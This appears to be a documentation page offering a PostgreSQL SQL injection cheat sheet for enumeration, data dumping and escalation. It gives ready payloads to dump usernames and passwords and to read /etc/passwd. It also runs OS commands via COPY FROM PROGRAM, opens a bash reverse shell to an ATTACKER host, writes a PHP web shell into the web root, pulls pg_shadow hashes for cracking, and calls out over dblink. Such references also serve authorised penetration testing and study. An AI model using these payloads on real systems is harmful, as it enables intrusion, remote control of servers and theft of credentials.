Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
Identification
SELECT version()
-- Comment: -- or /* */
-- String concat: 'a'||'b'
SELECT current_database()
SELECT current_user
SELECT session_user
SELECT current_schema()
SELECT inet_server_addr()
SELECT inet_server_port()
Enumerate Databases
SELECT datname FROM pg_database
SELECT string_agg(datname,',') FROM pg_database
Enumerate Tables
SELECT table_name FROM information_schema.tables WHERE table_schema='public'
SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public'
SELECT relname FROM pg_class WHERE relkind='r'
Enumerate Columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'
SELECT string_agg(column_name,',') FROM information_schema.columns WHERE table_name='users'
Dump Data
SELECT username||':'||password FROM users
SELECT string_agg(username||':'||password, ',') FROM users
String Functions
| Function | Description |
|---|
|| | Concatenate |
string_agg(col,sep) | Aggregate concat |
SUBSTRING(str,pos,len) | Substring |
SUBSTR(str,pos,len) | Alias |
LEFT(str,n) | Left N chars |
RIGHT(str,n) | Right N chars |
LENGTH(str) | String length |
ASCII(char) | ASCII value |
CHR(n) | Char from ASCII |
MD5(str) | MD5 hash |
ENCODE(data,'base64') | Base64 encode |
DECODE(data,'base64') | Base64 decode |
Conditional
CASE WHEN condition THEN true_val ELSE false_val END
SELECT (CASE WHEN 1=1 THEN 'true' ELSE 'false' END)
Time Delay
SELECT pg_sleep(5)
SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END
Error-Based
CAST((QUERY) AS int)
-- Example:
' AND 1=CAST((SELECT current_database()) AS int)-- -
Command Execution (RCE)
COPY FROM PROGRAM (9.3+)
CREATE TABLE cmd(output text);
COPY cmd FROM PROGRAM 'id';
SELECT * FROM cmd;
Reverse Shell
COPY cmd FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"';
File Read
SELECT pg_read_file('/etc/passwd')
SELECT pg_read_file('/etc/passwd', 0, 1000)
-- Via COPY
CREATE TABLE tmp(data text);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;
File Write
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'
Large Objects
SELECT lo_import('/etc/passwd') -- Import to LOB
SELECT lo_get(OID) -- Read LOB content
SELECT lo_export(OID, '/tmp/output') -- Export LOB to file
Password Hashes
SELECT usename, passwd FROM pg_shadow
Crack: hashcat -m 12.
Stacked Queries
Fully supported:
'; CREATE TABLE cmd(output text); COPY cmd FROM PROGRAM 'id';-- -
Extensions
CREATE EXTENSION dblink;
SELECT dblink_connect('host=ATTACKER dbname=x user=x'); -- OOB
Privilege Check
SELECT current_setting('is_superuser')
SELECT rolsuper FROM pg_roles WHERE rolname=current_user
Sources